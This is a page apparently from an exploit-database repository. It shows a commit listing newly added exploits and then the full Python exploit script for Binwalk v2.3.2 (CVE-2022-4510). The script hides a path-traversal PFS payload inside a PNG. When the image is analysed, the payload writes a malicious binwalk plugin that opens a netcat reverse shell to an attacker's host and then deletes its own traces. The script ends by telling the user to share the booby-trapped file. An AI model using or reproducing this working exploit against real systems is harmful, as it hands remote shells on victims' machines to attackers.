d46ab98863
32 changes to exploits/shellcodes/ghdb Answerdev 1.0.3 - Account Takeover D-Link DIR-846 - Remote Command Execution (RCE) vulnerability Dell EMC Networking PC5500 firmware versions 4.1.0.22 and Cisco Sx / SMB - Information Disclosure SOUND4 LinkAndShare Transmitter 1.1.2 - Format String Stack Buffer Overflow ERPNext 12.29 - Cross-Site Scripting (XSS) Liferay Portal 6.2.5 - Insecure Permissions GNU screen v4.9.0 - Privilege Escalation Apache Tomcat 10.1 - Denial Of Service PostgreSQL 9.6.1 - Remote Code Execution (RCE) (Authenticated) BTCPay Server v1.7.4 - HTML Injection. Provide Server v.14.4 XSS - CSRF & Remote Code Execution (RCE) Secure Web Gateway 10.2.11 - Cross-Site Scripting (XSS) ImageMagick 7.1.0-49 - DoS bgERP v22.31 (Orlovets) - Cookie Session vulnerability & Cross-Site Scripting (XSS) Bus Pass Management System 1.0 - Stored Cross-Site Scripting (XSS) Calendar Event Multi View 1.4.07 - Unauthenticated Arbitrary Event Creation to Cross-Site Scripting (XSS) CKEditor 5 35.4.0 - Cross-Site Scripting (XSS) Control Web Panel 7 (CWP7) v0.9.8.1147 - Remote Code Execution (RCE) Froxlor 2.0.3 Stable - Remote Code Execution (RCE) ImageMagick 7.1.0-49 - Arbitrary File Read itech TrainSmart r1044 - SQL injection Online Eyewear Shop 1.0 - SQL Injection (Unauthenticated) PhotoShow 3.0 - Remote Code Execution projectSend r1605 - Remote Code Exectution RCE Responsive FileManager 9.9.5 - Remote Code Execution (RCE) zstore 6.6.0 - Cross-Site Scripting (XSS) Binwalk v2.3.2 - Remote Command Execution (RCE) XWorm Trojan 2.1 - Null Pointer Derefernce DoS Kardex Mlog MCC 5.7.12 - RCE (Remote Code Execution) Linux/x86_64 - bash Shellcode with xor encoding
55 lines
No EOL
2.7 KiB
Python
Executable file
55 lines
No EOL
2.7 KiB
Python
Executable file
# Exploit Title: Binwalk v2.3.2 - Remote Command Execution (RCE)
|
|
# Exploit Author: Etienne Lacoche
|
|
# CVE-ID: CVE-2022-4510
|
|
import os
|
|
import inspect
|
|
import argparse
|
|
|
|
print("")
|
|
print("################################################")
|
|
print("------------------CVE-2022-4510----------------")
|
|
print("################################################")
|
|
print("--------Binwalk Remote Command Execution--------")
|
|
print("------Binwalk 2.1.2b through 2.3.2 included-----")
|
|
print("------------------------------------------------")
|
|
print("################################################")
|
|
print("----------Exploit by: Etienne Lacoche-----------")
|
|
print("---------Contact Twitter: @electr0sm0g----------")
|
|
print("------------------Discovered by:----------------")
|
|
print("---------Q. Kaiser, ONEKEY Research Lab---------")
|
|
print("---------Exploit tested on debian 11------------")
|
|
print("################################################")
|
|
print("")
|
|
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument("file", help="Path to input .png file",default=1)
|
|
parser.add_argument("ip", help="Ip to nc listener",default=1)
|
|
parser.add_argument("port", help="Port to nc listener",default=1)
|
|
|
|
args = parser.parse_args()
|
|
|
|
if args.file and args.ip and args.port:
|
|
header_pfs = bytes.fromhex("5046532f302e390000000000000001002e2e2f2e2e2f2e2e2f2e636f6e6669672f62696e77616c6b2f706c7567696e732f62696e77616c6b2e70790000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034120000a0000000c100002e")
|
|
lines = ['import binwalk.core.plugin\n','import os\n', 'import shutil\n','class MaliciousExtractor(binwalk.core.plugin.Plugin):\n',' def init(self):\n',' if not os.path.exists("/tmp/.binwalk"):\n',' os.system("nc ',str(args.ip)+' ',str(args.port)+' ','-e /bin/bash 2>/dev/null &")\n',' with open("/tmp/.binwalk", "w") as f:\n',' f.write("1")\n',' else:\n',' os.remove("/tmp/.binwalk")\n', ' os.remove(os.path.abspath(__file__))\n',' shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)), "__pycache__"))\n']
|
|
|
|
in_file = open(args.file, "rb")
|
|
data = in_file.read()
|
|
in_file.close()
|
|
|
|
with open("/tmp/plugin", "w") as f:
|
|
for line in lines:
|
|
f.write(line)
|
|
|
|
with open("/tmp/plugin", "rb") as f:
|
|
content = f.read()
|
|
|
|
os.system("rm /tmp/plugin")
|
|
|
|
with open("binwalk_exploit.png", "wb") as f:
|
|
f.write(data)
|
|
f.write(header_pfs)
|
|
f.write(content)
|
|
|
|
print("")
|
|
print("You can now rename and share binwalk_exploit and start your local netcat listener.")
|
|
print("") |